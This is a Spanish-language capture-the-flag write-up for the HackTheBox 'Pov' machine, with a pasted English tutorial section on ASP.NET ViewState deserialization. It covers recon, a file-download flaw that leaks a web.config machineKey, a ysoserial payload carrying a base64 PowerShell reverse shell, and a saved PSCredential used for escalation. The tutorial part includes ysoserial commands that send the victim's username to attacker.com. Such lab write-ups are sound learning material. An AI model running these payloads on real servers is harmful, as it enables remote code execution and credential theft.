Pov

nmap

```
nmap -sC -sV 10.10.11.251 -o nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 15:30 CEST
Nmap scan report for 10.10.11.251
Host is up (0.13s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.70 seconds
```

#Añadimos el dominio a /etc/hosts
#Empezemos enumerando los directorios.

```
feroxbuster -u http://pov.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
```

#Con ferroxbuster, no encontramos nada.
#Probaremos a enumerar vhost.

```
gobuster fuzz -u http://FUZZ.pov.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt 2> /dev/null
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://FUZZ.pov.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.6
[+] Timeout:      10s
===============================================================
Starting gobuster in fuzzing mode
===============================================================
Found: [Status=302] [Length=152] [Word=dev] http://dev.pov.htb
```

#Encontramos dev.pov.htb.
#Si realizamos una request a esta dirección

#Descargamos un CSV y podemos ver como se realizan estas request:

```
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=oa8LzZTilwS1b7MQYk4ZMN8rn1ZpQ%2FAqoU2pzdC2%2BabHgF1XtTMX7GwEfX4zILvvZXjFAhba8Pq5t9P1F-
spa378nEUM%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=jfMs3RGbhSPh5CDoq3sWOGhE6JHroVxrfen%2FjR6Q%2BQb2yKQK4X648YY2ZC2UJEJaWraQ-
40nHi9sqbd7VO4kYBv5Q%2FLh6jpBTEHVn9kZxLyOiSpP%2FsPFC%2FNm2ODhOhYIs79rOmQ%3D%3D&file=cv.pdf
```

#Probaremos, modificando esta request a ver si conseguimos el fichero /web.conf, en vez del PDF. (file=/web.config)
#El servidor, nos devuelve esta request:

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 12 Apr 2024 14:54:00 GMT
Connection: close
Content-Length: 866

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633
468" />
  </system.web>
    <system.webServer>
      <httpErrors>
        <remove statusCode="403" subStatusCode="-1" />
        <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
      </httpErrors>
      <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>
```

#Una vez, llegado a este punto. Procederemos con la explotación del __VIEWSTATE sin conocer el secreto.(El rev_shell, tiene que estar en formato “Powershell #3 Base64”)

1. Creamos el exploit en powershell.

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --
decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --
validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633
468" --path="/portfolio/default.aspx" -c "powershell -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoA-
CIAMQAwAC4AMQAwAC4AMQA2AC4AMgA2ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkA-
OwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhA-
G0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAA-
oAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZ-
QB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAA-
gAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAAp-
AC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBH-
AGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb-
gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
```

2. Nos devolverá un sring:

```
7eJ1DHqQ5c%2FY4QeERIgqsoUekXPh5Ad4diENZge8EgXiGAvyvQCizlNcSzUKkw4Jd4yb6j4rKRVbzrPyTFKhExaQLAb%2BvcjwIGJW8p5%2F0KY2CwwwWtSiix%2Fl%2FqWxVH1%2
F8NzQfbR%2B79YesIWulyY%2FoVRcJS42I1xJshShoEaEaBlewyCGpntyDB%2B45OFSq%2FCZAKZI6sEWX4LoiEjgqJynFyLflrFfKLXpQ4joA0brvy0vXo0lC05aesHXQcwDJP3ALys70JD-
mUFBUB%2Bg%2F4pnrasWmEGqrOKWHTr5HUiILjY2JSW42IvDuYGxcTq6SHtkew0aLjYeaCLgCzqcMOP3ZAuQSM42fTo5V5P6uQJsX6nSCn119%2FVscal1ftUPIDQAS50AS%2F3B-
kItyZclG1UsElG2S7tj%2BONEpiUzaFcqz5x%2FPMtSbksupL5YKGULJVd1CRV8VbrDtdyJI0KL4gBghyt%2FcLu116Q0ee97mldMiZc1yzsOO91uI0SkdK21yV5eaG3qjMdSXY2ZukoGN9u-
u5u7J29XQA92gq9V1%2FzgBmPVdypaCiQs%2BHEKfcA7q3RT7fAYvG7%2FgdNNhogqfGb0QYxglzTAV%2Bxr3fdLnDih9Z9wuJHDDha2%2B%2BZpM85DOWHzrsWNcP8%2F%2B-
YcBjzbFKAeB%2BkeR1GmjUNu%2F7L%2F3WSNj0Y7Yd%2BarkrNm1m9qI4iOs%2BSVd%2FK8ISg%2F%2FIpgNSbC1bobD%2B%2B78SAWMsiedbM93iLCb0oilDjbshAkCSIo9Li-
aTNCsX1H%2Bnt3fHK5atDxrcffJH21An%2BXM0L0B0Uq%2FnAG1WZjNYwSO%2BAbC7O4%2FsYt2gHQY8FzAq105hjLl7aB14jid0AJT8YnfDlHQ2243FENy6Fufa6ZBDRvq2Gqup6Yf
%2BIhWQBn8y1rwm2dM2tbtxdQye5zy0e919ZCEox15TTXPMoI3ORlxF%2F4bwuIFXQDMukB1RrlmIUxdDK8rPy1VhYgqkYKpK8cZwoMlFoI0vkD0izEUBj04ONCxfXIE%2BJoMkBLtp%2
BDfWUSE3GtCW6n9tvFR3St4hzYAo8RLiy%2FTB9k5A5LiveIySfsir4KfiBxxLDQijebcAGu99f87gIvYCv1XrX428HU3wCiKWSxqUxADdM6Rv%2FRCUQWUqVBcy0VWfOlCp5EyMb42dX-
yEcFrO0RmlsavXHgxr2U5mPL%2FeD%2FEIYteLgHOk8DYaHVmPAnUWZ7JYpUgqlcpr%2FI0PKj1r7GeGqo0%2Fwv%2Fud%2BhQg1%2BJczMAW8wac3E9QZ11ntEAr14%2FuzzG-
dgn56TKVg8fapL3m%2Fr3B1sXGp8HZlVpILsio5jY2FB7TixnpHz9gkJSM5edFSjH4W9IPKceWmvldgTS4vklfH%2B6MpRVsew%3D
```

3. Luego, nos vamos a burpsuite para añadir este parametro en _VIEWSTATE=
(Creamos este request)
(El rev_shell, tiene que estar en formato “Powershell #3 Base64”)

```
POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 3555
Origin: http://dev.pov.htb
Connection: close
Referer: http://dev.pov.htb/portfolio/default.aspx
Upgrade-Insecure-Requests: 1

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=tx29QzSZoKE4nxPhrNpXqsimtbXP0m7UBL88Gh%2BIxP64sO2oEy4Ck2INv3xAAfxYwZOimcijBEAobGV7jrMK14
x7pRisEYeuNqlpbALfv%2BeytUywxU7zxutXhwDccnCjnuxlBAe8yWIH4Oog3mbLyTHy2JKqukTw4fOtOS8pOf%2BQ47voel6Z6oBm3DncLIbardpBwa9wo0onMxh%2BNWpJ5J7E3WQ-
vm9%2FY9GcOqNMwztsT7pRrT48uQVDI1NSpwcr8wKEkOnDTsOlFATZRrdWR6IZNgXOGAit4J%2F2W5gC6cf6aw1rMyH6RGHxG9Gm8BUR%2Be2MJnpwKylutuPEKWdbPabKWHP-
KZ5dyIoN0i9d%2F29tlHJWHJKHDBoRezlInkadHZodoQaz%2BnRfqfkF1AFYgqUj%2B3QFaKpMNEfMJNYTOQxWF%2BQ8kZDg3Z%2BIoaRzwQM85enPYLLQTyh5iOwlzpsDG8kYUv-
mKFzM9TzsXbErsQWlWrownjsSQv6E9TH1%2FOlHaKOUmeicrSfqtJuACkSe7wRJg%2FgDLGediMKIc5OoVSrwPzwZxr0Av%2BrwR%2BLGWXQ%2BazN%2FjTYOB4uHq68GiFKe2%
2FduHxvl7erO3NDJUHBrcC3ogTPWc89gcwlaXmB76lD%2FyFI0Cju3rZmtI9JXINiflhsue1s0n2wMrHs9Dt9zn4fc5JcjaIsi49YqT%2BRGfYLqAmgPR9LVG4X5OouFuqr%2FxdHozxQGE5
7RqrcBZ2%2BDgE7iXV4YdILiF7qGpGk%2FFSqSM4O7KrIC9LMgRThetYS7osh%2BcSOEhh1WLfwCB321q7bOMbWXjZYPfa90bl0p8awLVlDkBqAecwS4Krbg7J1F26V3aIzLS8NBDL
%2BZUtY7FeEOl7ZoHjZLfBoKG5WosQcrWOOwwQJ3WdvlPBYUPuVUDT4B5Eskz2aFHrA4Qi4dvsu%2BhnAaf%2FFr9G3nC8nWtYnEu0KK%2FDdQHYWF4Z8xP%2BkyIk%2Fe6JTF-
BqQkOh6hZLlzfQgmHQ4GleARt5EgXq3XulLuWyJnD7Ugv7J68z57Y226M3h4C%2B1qz4jm6rNeEJ%2BWqbOw2S1Gwu%2F9CXgrpFHzo0yVS5lCq5r%2FtLw2DVYV6rFi9l7qHbA2
RSZ5oje7Po1IEK3Ie6rE%2FHylfhR019PJpGlSn5rq2g1CvnTFbFI%2BaXvlVczRWrLJ8HLPO%2FgzbD4ikfcZubXRmQt1nUSm7y1Ffq7UchdkhMUQuEqlxeHZ8dtM0mCcBs7xEMoMSd5I-
Bdoh3xl5wOfuedCvw62APBV3gVGlVouF%2FRoYEZUIst%2BS7eZDZxwRYk%2FdE5oBX73EybhvKTe8pTooVdiW1MF6VAMOJvB%2Fx1FlD%2Bq1OMCo4oFSlg0Acj05yzpSWTzfH8ya-
d0%2FihKYBLmXaGfV3BfRmlP6dgRDRtCGV9dmOfSi6Wgqe3rZEim4MNPFBupNKd3jJYQO2Ns6PVu1tsMdmBSvflIK7DsNL3EmCPBYfnTVOeY6ICOXr%2F6TwL%2Byd6e3Mk4%2FI-
pcXNCxwTr8PecNRQaSiQf0XGSLYlT9YtIHDY60i8RFTwgxOcvx6BHnunK9aqkU%2BzKAFpkyTm8H8hCtDZQ8z4BHFzpCDm4YYOh50chXfk2eO%2Fi1W8T8HXHSj7Kmt3cx%2Bp8Yv-
MrKFdej%2BfY5o91j35LhXsb7GSIIKbuLFuStYO09c2Qh6wo4Yxw%2FsK%2FZUzW5ZgFsKQ9cIuMDIPpxfB7KCCMdqJ3jL%2BObWEXnjQicNdfp162Kf3v8%2BY9pyTUZ%2BeYqZem-
cworguBPRZMYUGut4CQf%2BiApFDvX0T0xwPPQgoI1vAqCBmc03WI5qvNsCzjBmySAQUQu0unJZPMQsEp450SBmelzxH2aLHebqxkfcH6y77LBEbDFPfv%2BfVxvthAay%2FGzN0xh7
kL9UICegvH4%2FCYrtfsufnX4t5F90BHrYfrkjv%2Bg7O4M2GeSpkKJNXXWSP%2FNm9GZslX9r0KymZZLRvcgB8FaLDbL6Y2nMHtp5KJuZxqGklgblQ2xQiYTqDVL%2FAF9D7FU%2F-
W11%2Fr5p6mCPfi4EYbgCHbzrgQbO51YIs2%2Bcu0PoVWxUKW6GyBWRVQWH8YEFXzAXmK3QYnE4uQcAohtwAZD9GhePL0jpRfjKbOom%2BiGCCwmwVJxo%2F6b%2BHu%2B3
B6YCMudeqnWrEUDQuyS5fEpS1NFOxPHGTtalxwfDpsxbRz9C5DwJTa9gBXwA47WXbDCoLECnfadNzR4UG0xrgKwiOMY8FSLeK%2BrrgDDzTLwbUKnfTwz55ukWqpNAcujdTTnt7E-
s8dXx8S97sZ%2Bu%2B3reGRN%2FdwuznLsUdwJnJs7arBqrr%2FTv7b%2BJ4Gd2og%2B1aTyd538vldv9GnilPvJkAaGbKO7v2qjvURLy385LHemXTDS1fJ%2FgT8J5vmlwwEiWag5
CtIixDhjepr0hu8l0Iyo5zN6tOGqbO1rb8IdunlIU0lkWVDW9O5i%2FE5WfjDm7X%2BcCkc7YbO5GkfkoEBYkENvIOqeuiCZ07RdqtaN9SqlfrTTe2RKdu0iK%2FWw%2B36TnwsPkP9ud-
EqppzW6oThzo%2Bgf20Hy1kqVkJbWZO%2FPV3B%2FAIvC8OfCEAN0B9KJZliAS7RtM4f%2FbzORA3TEQTfFEOxV6Lkj6vYa%2BGgPuJ2bD1mo4%2FqBhpKj7%2F8JG1%2BhmH4N-
r5UI42Uo6yTRkufzYRI7aN9vBEEXiMY3poJJucSFIMchTGeTOfLr%2BOrn5qk3RItq6YvlxNF9pWaPwh2%2F7%2FNVM%2B3wGOBZ%2BZag4q7Av7HsXXwoYPv8567KKjNBBIjdokK1P-
QoUptHnqLrx3yQeiHE%2Fu3Vo%2FfV4P5lDrFaSpzKUQjx%2B4uITdmCypGA6LD40%2FtQoyoqsxEBkkczoZHwaJVaLzEYp%2FQU1jzdF0ITvh%2Fr%2BwG3qoErtrY61StGdEdZ88I-
P55%2FWGe9MrHiYABIR11j4htU21h2vnse3vRHYV8tkS6bEhfb5hDRHfCl4xBIAdIyXNkmHxTHV6CuI73ZLlBgm8nbFNV4aRdEqS26IiFfvhr9klK%2B0quGcP0JSe3TWFOmDO35qEYBb-
TOjv2TPFeqGGkbw7Lix9Gfnm52Lkq8RQA%3D%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=YlRWuMLWmjZDO28zhgK6t%2BQU6KOv8BLIizXlH90KkOa9
TNuALCHW804M%2Bs6xuGmNB8n56tvpdSzJVmLhwpAzCyCI9L%2FFOZaoEak4iLZX%2Bpo8QKNW45tWn9eXbeB%2BEDlBcZnIyw%3D%3D&file=cv.pdf
```

4. El servidor nos responde:

```
HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: /default.aspx?aspxerrorpath=/portfolio/default.aspx
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 12 Apr 2024 20:38:32 GMT
Connection: close
Content-Length: 168

<html><head><title>Object moved</title></head><body>
```

```
<h2>Object moved to <a href="/default.aspx?aspxerrorpath=/portfolio/default.aspx">here</a>.</h2>
</body></html>
```

5. Obtenemos la conexión:

```
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.251] 49701
whoami
pov\sfitz
PS C:\windows\system32\inetsrv>
```

Exploiting __VIEWSTATE without knowing the secrets

Exploiting __VIEWSTATE without knowing the secrets

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
LogoRegister - IntigritiRegister - Intigriti
What is ViewState

ViewState serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.

ViewState information can be characterized by the following properties or their combinations:

Base64:

This format is utilized when both EnableViewStateMac and ViewStateEncryptionMode attributes are set to false.

Base64 + MAC (Message Authentication Code) Enabled:

Activation of MAC is achieved by setting the EnableViewStateMac attribute to true. This provides integrity verification for ViewState data.

Base64 + Encrypted:

Encryption is applied when the ViewStateEncryptionMode attribute is set to true, ensuring the confidentiality of ViewState data.

Test Cases

The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:

For any version of .NET, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.

For versions below 4.5, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."

For versions below 4.5, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."

For versions 4.5 and above, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

It is also possible to disable the ViewStateMAC completely by setting the AspNetEnforceViewStateMac registry key to zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifying ViewState Attributes

You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using YSoSerial.Net

```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```

Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server

Developers can remove ViewState from becoming part of an HTTP Request (the user won't receive this cookie).
One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization.
However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.
Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```

We can also do it for overall application by setting it on the web.config file as shown below:

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
 <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5E-D45" />
 <pages enableViewStateMac="true" />
</system.web>
</configuration>
```

As the parameter is MAC protected this time to successfully execute the attack we first need the key used.

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key used.

```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /
wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --
modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.

It can either be supplied with the viewstate and generator directly:

```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:

```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the badsecrets BBOT module can be used:

```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

If you are lucky and the key is found,you can proceed with the attack using YSoSerial.Net:

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --
validationalg="SHA1" --
validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED-
45"
```

--generator = {__VIWESTATEGENERATOR parameter value}

In cases where _VIEWSTATEGENERATOR parameter isn't sent by the server you don't need to provide the --generator parameter but these ones:

```
--apppath="/" --path="/hello.aspx"
```

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will need the Machine Key to encrypt your payload to exploit the vulnerability.

In this case the Blacklist3r module is under development...

Prior to .NET 4.5, ASP.NET can accept an unencrypted ___VIEWSTATE_parameter from the users even if
ViewStateEncryptionMode
 has been set to Always. ASP.NET only checks the presence of the
__VIEWSTATEENCRYPTED
 parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.

Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, YSoSerial.Net command used in the Case 2, can be used to perform RCE using ViewState deserialization vulnerability.

Remove __VIEWSTATEENCRYPTED parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.

```
<httpRuntime targetFramework="4.5" />
```

Alternatively, this can be done by specifying the below option inside the machineKey paramter of web.config file.

```
compatibilityMode="Framework45"
```

As in the previous the value is encrypted. Then, to send a valid payload the attacker need the key.

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key being used:

```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/
SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --
TargetPagePath "/Content/default.aspx"
```

```
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```

For a more detailed description for IISDirPath and TargetPagePath refer here

Or, with Badsecrets (with a generator value):

```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator
B2774415
```

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net

```
ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx"
--apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --
validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED-
45"
```

If you have the value of __VIEWSTATEGENERATOR you can try to use the --generator parameter with that value and omit the parameters --path and --apppath

A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided PoC of Successful Exploitation.
Test Case 6 – ViewStateUserKeys is being used

The ViewStateUserKey property can be used to defend against a CSRF attack. If such a key has been defined in the application and we try to generate the ViewState payload with the methods discussed till now, the payload won't be processed by the application.
You need to use one more parameter in order to create correctly the payload:

```
--viewstateuserkey="randomstringdefinedintheserver"
```

Result of a Successful Exploitation

For all the test cases, if the ViewState YSoSerial.Net payload works successfully then the server responds with "500 Internal server error" having response content "The state information is invalid for this page and might be corrupted" and we get the OOB reques.

Check for further information here

USER_escaltion

```
#Podremos ver un fichero connection.xml.
PS C:\Users\sfitz\Documents>

    Directory: C:\Users\sfitz\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        12/25/2023   2:26 PM           1838 connection.xml

PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS
N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda-
743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e80000000020000200000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ad-
e3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7
d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

#Copiaremos la pass y creamos el fichero pass.txt
PS C:\Users\sfitz> type pass.txt
PS C:\Users\sfitz> echo
"01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e776
27255768e65ae76e179107379a964fa8ff156cee21000000000e80000000020000200000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000
a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88
fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" > pass.txt
PS C:\Users\sfitz> dir


    Directory: C:\Users\sfitz


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---        10/26/2023   5:02 PM                3D Objects
d-r---        10/26/2023   5:02 PM                Contacts
d-r---         1/11/2024   6:43 AM                Desktop
d-r---        12/25/2023   2:35 PM                Documents
d-r---        10/26/2023   5:02 PM                Downloads
d-r---        10/26/2023   5:02 PM                Favorites
d-r---        10/26/2023   5:02 PM                Links
d-----         4/16/2024  12:58 AM                Microsoft
d-r---        10/26/2023   5:02 PM                Music
